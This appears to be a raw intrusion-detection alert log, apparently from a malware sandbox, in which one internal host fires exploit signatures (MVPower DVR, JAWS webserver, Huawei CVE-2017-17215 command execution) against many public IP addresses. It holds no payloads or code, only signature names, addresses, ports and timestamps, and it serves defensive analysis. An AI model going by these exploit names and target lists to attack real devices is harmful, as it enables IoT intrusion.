192.168.2.23123.60.116.9758084802025883 01/02/24-06:24:45.347164	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58084	80	192.168.2.23	123.60.116.97
192.168.2.2374.48.45.14649620802025883 01/02/24-06:24:50.099124	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49620	80	192.168.2.23	74.48.45.146
192.168.2.2313.239.48.11535360802030092 01/02/24-06:24:04.056293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35360	80	192.168.2.23	13.239.48.115
192.168.2.23185.85.0.13949486802025883 01/02/24-06:24:38.209929	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49486	80	192.168.2.23	185.85.0.139
192.168.2.23108.186.100.20951226802025883 01/02/24-06:23:54.821481	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51226	80	192.168.2.23	108.186.100.209
192.168.2.2334.225.232.16551466802025883 01/02/24-06:24:15.088251	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51466	80	192.168.2.23	34.225.232.165
192.168.2.23157.70.251.2337718802030092 01/02/24-06:24:27.439650	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37718	80	192.168.2.23	157.70.251.23
192.168.2.23146.148.255.22835330802030092 01/02/24-06:25:03.972570	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35330	80	192.168.2.23	146.148.255.228
192.168.2.23107.22.7.9054290802025883 01/02/24-06:25:15.619385	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54290	80	192.168.2.23	107.22.7.90
192.168.2.23194.8.215.9047106802030092 01/02/24-06:25:39.116051	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47106	80	192.168.2.23	194.8.215.90
192.168.2.2323.208.169.837612802030092 01/02/24-06:24:14.264263	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37612	80	192.168.2.23	23.208.169.8
192.168.2.2323.198.222.19256304802030092 01/02/24-06:24:18.028834	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56304	80	192.168.2.23	23.198.222.192
192.168.2.2377.46.139.24443154802025883 01/02/24-06:25:02.038352	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43154	80	192.168.2.23	77.46.139.244
192.168.2.2345.148.36.4256504802030092 01/02/24-06:24:01.272066	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56504	80	192.168.2.23	45.148.36.42
192.168.2.2352.51.210.25354244802030092 01/02/24-06:25:26.161554	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54244	80	192.168.2.23	52.51.210.253
192.168.2.2313.227.73.8552698802030092 01/02/24-06:25:34.683145	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52698	80	192.168.2.23	13.227.73.85
192.168.2.2377.75.231.12448474802025883 01/02/24-06:23:59.226697	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48474	80	192.168.2.23	77.75.231.124
192.168.2.2345.66.79.13355714802030092 01/02/24-06:24:14.281778	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55714	80	192.168.2.23	45.66.79.133
192.168.2.23111.87.115.15347612802025883 01/02/24-06:25:25.281636	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47612	80	192.168.2.23	111.87.115.153
192.168.2.23171.244.56.10744564802025883 01/02/24-06:24:03.532179	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44564	80	192.168.2.23	171.244.56.107
192.168.2.2334.18.64.5447396802025883 01/02/24-06:24:30.779179	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47396	80	192.168.2.23	34.18.64.54
192.168.2.2349.44.196.20855840802025883 01/02/24-06:24:41.307799	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55840	80	192.168.2.23	49.44.196.208
192.168.2.23209.235.140.22455632802025883 01/02/24-06:24:48.911367	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55632	80	192.168.2.23	209.235.140.224
192.168.2.2334.107.170.11651938802025883 01/02/24-06:24:04.121161	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51938	80	192.168.2.23	34.107.170.116
192.168.2.2335.183.139.12937922802025883 01/02/24-06:25:29.610631	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37922	80	192.168.2.23	35.183.139.129
192.168.2.2323.218.15.4344830802030092 01/02/24-06:24:34.799253	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44830	80	192.168.2.23	23.218.15.43
192.168.2.23154.213.63.23060686802025883 01/02/24-06:24:37.365549	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60686	80	192.168.2.23	154.213.63.230
192.168.2.2373.116.187.14544290802030092 01/02/24-06:24:46.089608	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44290	80	192.168.2.23	73.116.187.145
192.168.2.23154.46.166.18836382802030092 01/02/24-06:24:10.948725	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36382	80	192.168.2.23	154.46.166.188
192.168.2.2366.22.55.12933832802030092 01/02/24-06:23:51.506025	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33832	80	192.168.2.23	66.22.55.129
192.168.2.23156.235.98.939512372152835222 01/02/24-06:24:15.985357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39512	37215	192.168.2.23	156.235.98.9
192.168.2.2352.31.77.17848046802025883 01/02/24-06:25:05.043017	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48046	80	192.168.2.23	52.31.77.178
192.168.2.2334.242.70.14342204802025883 01/02/24-06:24:43.208181	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42204	80	192.168.2.23	34.242.70.143
192.168.2.23157.52.181.6140930802030092 01/02/24-06:25:29.722171	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40930	80	192.168.2.23	157.52.181.61
192.168.2.23160.121.60.20546956802025883 01/02/24-06:23:51.701184	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46956	80	192.168.2.23	160.121.60.205
192.168.2.23158.94.0.20659592802025883 01/02/24-06:24:09.082311	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59592	80	192.168.2.23	158.94.0.206
192.168.2.2318.139.66.24949188802025883 01/02/24-06:24:49.080776	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49188	80	192.168.2.23	18.139.66.249
192.168.2.2318.66.27.18250544802030092 01/02/24-06:24:59.193137	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50544	80	192.168.2.23	18.66.27.182
192.168.2.2334.126.113.7654070802025883 01/02/24-06:25:15.540979	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54070	80	192.168.2.23	34.126.113.76
192.168.2.23212.8.247.7039420802025883 01/02/24-06:24:59.257113	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39420	80	192.168.2.23	212.8.247.70
192.168.2.2318.172.204.12456566802025883 01/02/24-06:24:59.388502	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56566	80	192.168.2.23	18.172.204.124
192.168.2.2352.196.15.13145438802030092 01/02/24-06:25:02.277841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45438	80	192.168.2.23	52.196.15.131
192.168.2.23203.170.84.9841608802030092 01/02/24-06:24:05.853329	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41608	80	192.168.2.23	203.170.84.98
192.168.2.23217.160.215.20551516802025883 01/02/24-06:24:23.994544	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51516	80	192.168.2.23	217.160.215.205
192.168.2.23145.236.36.12840926802030092 01/02/24-06:24:59.212800	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40926	80	192.168.2.23	145.236.36.128
192.168.2.2362.244.41.14754538802030092 01/02/24-06:25:25.284302	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54538	80	192.168.2.23	62.244.41.147
192.168.2.2338.6.180.18441692802025883 01/02/24-06:25:01.064194	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41692	80	192.168.2.23	38.6.180.184
192.168.2.2323.3.111.16147366802025883 01/02/24-06:25:43.020357	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47366	80	192.168.2.23	23.3.111.161
192.168.2.2377.246.183.3046272802025883 01/02/24-06:24:55.948920	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46272	80	192.168.2.23	77.246.183.30
192.168.2.23212.109.194.4333828802025883 01/02/24-06:24:23.748097	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33828	80	192.168.2.23	212.109.194.43
192.168.2.23107.172.87.20751544802025883 01/02/24-06:24:55.853118	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51544	80	192.168.2.23	107.172.87.207
192.168.2.23139.59.72.23049116802030092 01/02/24-06:25:11.932825	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49116	80	192.168.2.23	139.59.72.230
192.168.2.2338.181.35.21934372802030092 01/02/24-06:24:01.259878	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34372	80	192.168.2.23	38.181.35.219
192.168.2.2343.192.122.6537836802030092 01/02/24-06:25:44.376815	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37836	80	192.168.2.23	43.192.122.65
192.168.2.2361.220.62.14550398802030092 01/02/24-06:24:33.218083	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50398	80	192.168.2.23	61.220.62.145
192.168.2.23124.160.184.25432982802025883 01/02/24-06:24:49.075744	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32982	80	192.168.2.23	124.160.184.254
192.168.2.2338.173.142.9934518802030092 01/02/24-06:24:45.911157	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34518	80	192.168.2.23	38.173.142.99
192.168.2.23186.88.83.19454168802025883 01/02/24-06:25:15.957336	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54168	80	192.168.2.23	186.88.83.194
192.168.2.23101.42.248.24039924802030092 01/02/24-06:24:43.377309	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39924	80	192.168.2.23	101.42.248.240
192.168.2.2334.216.109.859862802025883 01/02/24-06:24:27.341329	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59862	80	192.168.2.23	34.216.109.8
192.168.2.23102.130.122.21740696802030092 01/02/24-06:24:58.885496	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40696	80	192.168.2.23	102.130.122.217
192.168.2.2323.57.78.17447542802025883 01/02/24-06:25:36.406858	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47542	80	192.168.2.23	23.57.78.174
192.168.2.23104.230.152.22549976802025883 01/02/24-06:24:24.820851	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49976	80	192.168.2.23	104.230.152.225
192.168.2.23166.161.129.1740674802025883 01/02/24-06:24:44.925325	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40674	80	192.168.2.23	166.161.129.17
192.168.2.2375.187.170.24035348802030092 01/02/24-06:24:30.620216	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35348	80	192.168.2.23	75.187.170.240
192.168.2.2350.212.190.9749434802025883 01/02/24-06:25:07.021195	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49434	80	192.168.2.23	50.212.190.97
192.168.2.23154.12.30.8341074802025883 01/02/24-06:25:38.407130	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41074	80	192.168.2.23	154.12.30.83
192.168.2.23156.253.36.648376372152829579 01/02/24-06:24:16.442516	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48376	37215	192.168.2.23	156.253.36.6
192.168.2.234.152.153.16453294802030092 01/02/24-06:23:55.535212	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53294	80	192.168.2.23	4.152.153.164
192.168.2.232.20.206.6947260802030092 01/02/24-06:25:06.855559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47260	80	192.168.2.23	2.20.206.69
192.168.2.2369.192.43.5855492802025883 01/02/24-06:25:21.993012	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55492	80	192.168.2.23	69.192.43.58
192.168.2.23156.254.75.5454612372152829579 01/02/24-06:25:31.710967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54612	37215	192.168.2.23	156.254.75.54
192.168.2.2399.16.143.12833176802025883 01/02/24-06:24:14.071830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33176	80	192.168.2.23	99.16.143.128
192.168.2.235.135.156.633424802030092 01/02/24-06:25:30.155873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33424	80	192.168.2.23	5.135.156.6
192.168.2.2385.221.227.12437694802030092 01/02/24-06:24:18.042374	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37694	80	192.168.2.23	85.221.227.124
192.168.2.23167.172.137.11148674802025883 01/02/24-06:23:49.370306	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48674	80	192.168.2.23	167.172.137.111
192.168.2.23154.214.96.7060798802030092 01/02/24-06:24:05.858026	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60798	80	192.168.2.23	154.214.96.70
192.168.2.2324.90.220.12451082802030092 01/02/24-06:25:34.883177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51082	80	192.168.2.23	24.90.220.124
192.168.2.2346.4.102.25247674802025883 01/02/24-06:25:43.105983	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47674	80	192.168.2.23	46.4.102.252
192.168.2.2323.204.125.10656392802025883 01/02/24-06:24:13.920039	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56392	80	192.168.2.23	23.204.125.106
192.168.2.23173.234.100.23044204802025883 01/02/24-06:24:40.616364	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44204	80	192.168.2.23	173.234.100.230
192.168.2.23185.18.81.6639906802025883 01/02/24-06:25:01.307707	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39906	80	192.168.2.23	185.18.81.66
192.168.2.23118.232.97.5137750802025883 01/02/24-06:24:56.010020	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37750	80	192.168.2.23	118.232.97.51
192.168.2.238.134.23.4358860802025883 01/02/24-06:24:27.781954	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58860	80	192.168.2.23	8.134.23.43
192.168.2.23213.136.91.1739410802025883 01/02/24-06:24:04.299968	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39410	80	192.168.2.23	213.136.91.17
192.168.2.23164.132.227.17152970802025883 01/02/24-06:25:19.078205	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52970	80	192.168.2.23	164.132.227.171
192.168.2.23110.161.237.5746168802030092 01/02/24-06:25:25.756167	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46168	80	192.168.2.23	110.161.237.57
192.168.2.2318.164.18.3348318802030092 01/02/24-06:25:38.054989	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48318	80	192.168.2.23	18.164.18.33
192.168.2.2335.209.88.19054520802025883 01/02/24-06:24:45.913931	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54520	80	192.168.2.23	35.209.88.190
192.168.2.2359.49.86.22544734802025883 01/02/24-06:24:27.489026	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44734	80	192.168.2.23	59.49.86.225
192.168.2.23103.131.18.24355884802025883 01/02/24-06:25:21.511351	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55884	80	192.168.2.23	103.131.18.243
192.168.2.23108.186.216.18145040802030092 01/02/24-06:23:51.959819	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45040	80	192.168.2.23	108.186.216.181
192.168.2.2350.87.38.1737480802025883 01/02/24-06:24:23.653878	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37480	80	192.168.2.23	50.87.38.17
192.168.2.23104.86.91.9035656802030092 01/02/24-06:24:50.099510	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35656	80	192.168.2.23	104.86.91.90
192.168.2.2385.215.117.2442578802025883 01/02/24-06:24:01.338021	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42578	80	192.168.2.23	85.215.117.24
192.168.2.2389.212.109.24042828802025883 01/02/24-06:24:42.987046	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42828	80	192.168.2.23	89.212.109.240
192.168.2.23152.200.138.8146794802030092 01/02/24-06:24:51.767454	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46794	80	192.168.2.23	152.200.138.81
192.168.2.23144.126.206.15750982802030092 01/02/24-06:24:28.177953	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50982	80	192.168.2.23	144.126.206.157
192.168.2.2327.54.141.22460562802025883 01/02/24-06:24:30.783293	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60562	80	192.168.2.23	27.54.141.224
192.168.2.2351.255.91.12053876802030092 01/02/24-06:25:02.258701	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53876	80	192.168.2.23	51.255.91.120
192.168.2.23108.158.129.15660976802030092 01/02/24-06:24:55.937734	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60976	80	192.168.2.23	108.158.129.156
192.168.2.2359.151.128.1748314802030092 01/02/24-06:24:46.386584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48314	80	192.168.2.23	59.151.128.17
192.168.2.2374.39.214.2346062802030092 01/02/24-06:25:15.627181	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46062	80	192.168.2.23	74.39.214.23
192.168.2.2357.180.62.6834572802025883 01/02/24-06:24:44.984670	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34572	80	192.168.2.23	57.180.62.68
192.168.2.2351.75.21.17840480802030092 01/02/24-06:25:02.016731	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40480	80	192.168.2.23	51.75.21.178
192.168.2.238.217.69.18058726802030092 01/02/24-06:24:01.420268	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58726	80	192.168.2.23	8.217.69.180
192.168.2.2386.107.30.11541714802025883 01/02/24-06:25:35.089932	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41714	80	192.168.2.23	86.107.30.115
192.168.2.2391.194.11.19152908802030092 01/02/24-06:24:17.758398	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52908	80	192.168.2.23	91.194.11.191
192.168.2.23154.204.118.16159748802025883 01/02/24-06:24:50.106168	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59748	80	192.168.2.23	154.204.118.161
192.168.2.2394.152.11.20858652802030092 01/02/24-06:25:38.297923	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58652	80	192.168.2.23	94.152.11.208
192.168.2.2313.52.177.10058232802025883 01/02/24-06:24:00.958032	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58232	80	192.168.2.23	13.52.177.100
192.168.2.23206.233.253.22452608802030092 01/02/24-06:24:09.052927	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52608	80	192.168.2.23	206.233.253.224
192.168.2.2323.209.26.22960854802030092 01/02/24-06:24:32.802584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60854	80	192.168.2.23	23.209.26.229
192.168.2.23207.91.250.5347036802025883 01/02/24-06:24:05.701901	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47036	80	192.168.2.23	207.91.250.53
192.168.2.23195.210.122.20639926802030092 01/02/24-06:25:42.425489	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39926	80	192.168.2.23	195.210.122.206
192.168.2.2389.116.58.16258488802030092 01/02/24-06:24:18.153621	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58488	80	192.168.2.23	89.116.58.162
192.168.2.2338.55.6.5853198802030092 01/02/24-06:25:09.906087	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53198	80	192.168.2.23	38.55.6.58
192.168.2.23185.124.143.18839152802030092 01/02/24-06:23:52.102637	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39152	80	192.168.2.23	185.124.143.188
192.168.2.2334.88.138.1944478802025883 01/02/24-06:25:30.159443	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44478	80	192.168.2.23	34.88.138.19
192.168.2.23107.167.54.15750366802025883 01/02/24-06:25:31.230783	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50366	80	192.168.2.23	107.167.54.157
192.168.2.23121.36.115.24947442802030092 01/02/24-06:23:55.420371	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47442	80	192.168.2.23	121.36.115.249
192.168.2.2351.17.132.4749620802030092 01/02/24-06:24:34.942338	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49620	80	192.168.2.23	51.17.132.47
192.168.2.23155.159.137.860496802030092 01/02/24-06:24:33.306234	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60496	80	192.168.2.23	155.159.137.8
192.168.2.23209.97.134.8644200802030092 01/02/24-06:24:43.211070	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44200	80	192.168.2.23	209.97.134.86
192.168.2.23146.126.59.11357290802030092 01/02/24-06:24:34.936317	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57290	80	192.168.2.23	146.126.59.113
192.168.2.2368.233.96.13258694802030092 01/02/24-06:25:19.392967	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58694	80	192.168.2.23	68.233.96.132
192.168.2.23176.119.158.21950988802030092 01/02/24-06:24:35.189037	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50988	80	192.168.2.23	176.119.158.219
192.168.2.2391.146.142.15155428802025883 01/02/24-06:24:27.710944	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55428	80	192.168.2.23	91.146.142.151
192.168.2.23116.202.207.17543532802030092 01/02/24-06:24:40.704654	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43532	80	192.168.2.23	116.202.207.175
192.168.2.2341.47.14.14559648802025883 01/02/24-06:24:55.990421	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59648	80	192.168.2.23	41.47.14.145
192.168.2.2320.47.19.11445826802025883 01/02/24-06:23:56.133253	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45826	80	192.168.2.23	20.47.19.114
192.168.2.2351.210.89.5356836802030092 01/02/24-06:25:38.038524	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56836	80	192.168.2.23	51.210.89.53
192.168.2.23116.203.70.2860376802030092 01/02/24-06:23:52.035635	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60376	80	192.168.2.23	116.203.70.28
192.168.2.23198.204.78.11558122802030092 01/02/24-06:24:30.686985	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58122	80	192.168.2.23	198.204.78.115
192.168.2.23119.77.165.6058400802030092 01/02/24-06:23:55.158684	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58400	80	192.168.2.23	119.77.165.60
192.168.2.2323.63.254.14947840802030092 01/02/24-06:25:42.582550	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47840	80	192.168.2.23	23.63.254.149
192.168.2.23104.82.158.9850494802030092 01/02/24-06:24:08.856573	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50494	80	192.168.2.23	104.82.158.98
192.168.2.2343.192.122.6537722802030092 01/02/24-06:25:42.403229	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37722	80	192.168.2.23	43.192.122.65
192.168.2.2320.94.161.14533044802030092 01/02/24-06:24:17.563871	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33044	80	192.168.2.23	20.94.161.145
192.168.2.2347.95.228.7335778802025883 01/02/24-06:24:59.105890	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35778	80	192.168.2.23	47.95.228.73
192.168.2.235.217.184.7845324802030092 01/02/24-06:25:15.076575	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45324	80	192.168.2.23	5.217.184.78
192.168.2.23156.254.98.9037532372152835222 01/02/24-06:23:56.031360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37532	37215	192.168.2.23	156.254.98.90
192.168.2.2320.65.30.21242196802030092 01/02/24-06:25:03.828276	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42196	80	192.168.2.23	20.65.30.212
192.168.2.23104.121.24.21239268802025883 01/02/24-06:25:34.772506	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39268	80	192.168.2.23	104.121.24.212
192.168.2.23200.159.177.3149306802030092 01/02/24-06:24:11.224156	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49306	80	192.168.2.23	200.159.177.31
192.168.2.2366.78.59.10240712802030092 01/02/24-06:25:15.619279	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40712	80	192.168.2.23	66.78.59.102
192.168.2.23178.128.227.10941330802025883 01/02/24-06:25:25.911068	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41330	80	192.168.2.23	178.128.227.109
192.168.2.23197.26.123.21538682802025883 01/02/24-06:25:36.163559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38682	80	192.168.2.23	197.26.123.215
192.168.2.23160.242.101.24957992802025883 01/02/24-06:24:49.569096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57992	80	192.168.2.23	160.242.101.249
192.168.2.23104.23.98.20438590802025883 01/02/24-06:24:01.079300	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38590	80	192.168.2.23	104.23.98.204
192.168.2.2338.3.104.6048300802025883 01/02/24-06:25:07.011141	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48300	80	192.168.2.23	38.3.104.60
192.168.2.23184.27.51.3257188802025883 01/02/24-06:25:35.366173	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57188	80	192.168.2.23	184.27.51.32
192.168.2.2350.199.186.2553794802030092 01/02/24-06:24:08.558341	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53794	80	192.168.2.23	50.199.186.25
192.168.2.23104.76.96.2160320802025883 01/02/24-06:25:15.761034	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60320	80	192.168.2.23	104.76.96.21
192.168.2.23162.243.164.3647712802030092 01/02/24-06:25:00.919883	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47712	80	192.168.2.23	162.243.164.36
192.168.2.23104.25.41.24933472802025883 01/02/24-06:24:01.079195	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33472	80	192.168.2.23	104.25.41.249
192.168.2.23212.40.8.18758620802025883 01/02/24-06:24:23.995468	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58620	80	192.168.2.23	212.40.8.187
192.168.2.23104.100.195.10552802802030092 01/02/24-06:25:15.214192	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52802	80	192.168.2.23	104.100.195.105
192.168.2.23167.82.120.6646464802025883 01/02/24-06:24:27.487383	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46464	80	192.168.2.23	167.82.120.66
192.168.2.23190.77.152.21653296802025883 01/02/24-06:25:16.037354	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53296	80	192.168.2.23	190.77.152.216
192.168.2.2320.72.240.21243978802025883 01/02/24-06:24:23.654334	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43978	80	192.168.2.23	20.72.240.212
192.168.2.2323.15.103.2141670802030092 01/02/24-06:25:31.414284	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41670	80	192.168.2.23	23.15.103.21
192.168.2.23175.29.154.10159250802030092 01/02/24-06:24:03.503193	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59250	80	192.168.2.23	175.29.154.101
192.168.2.2367.207.70.10055198802030092 01/02/24-06:23:52.032969	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55198	80	192.168.2.23	67.207.70.100
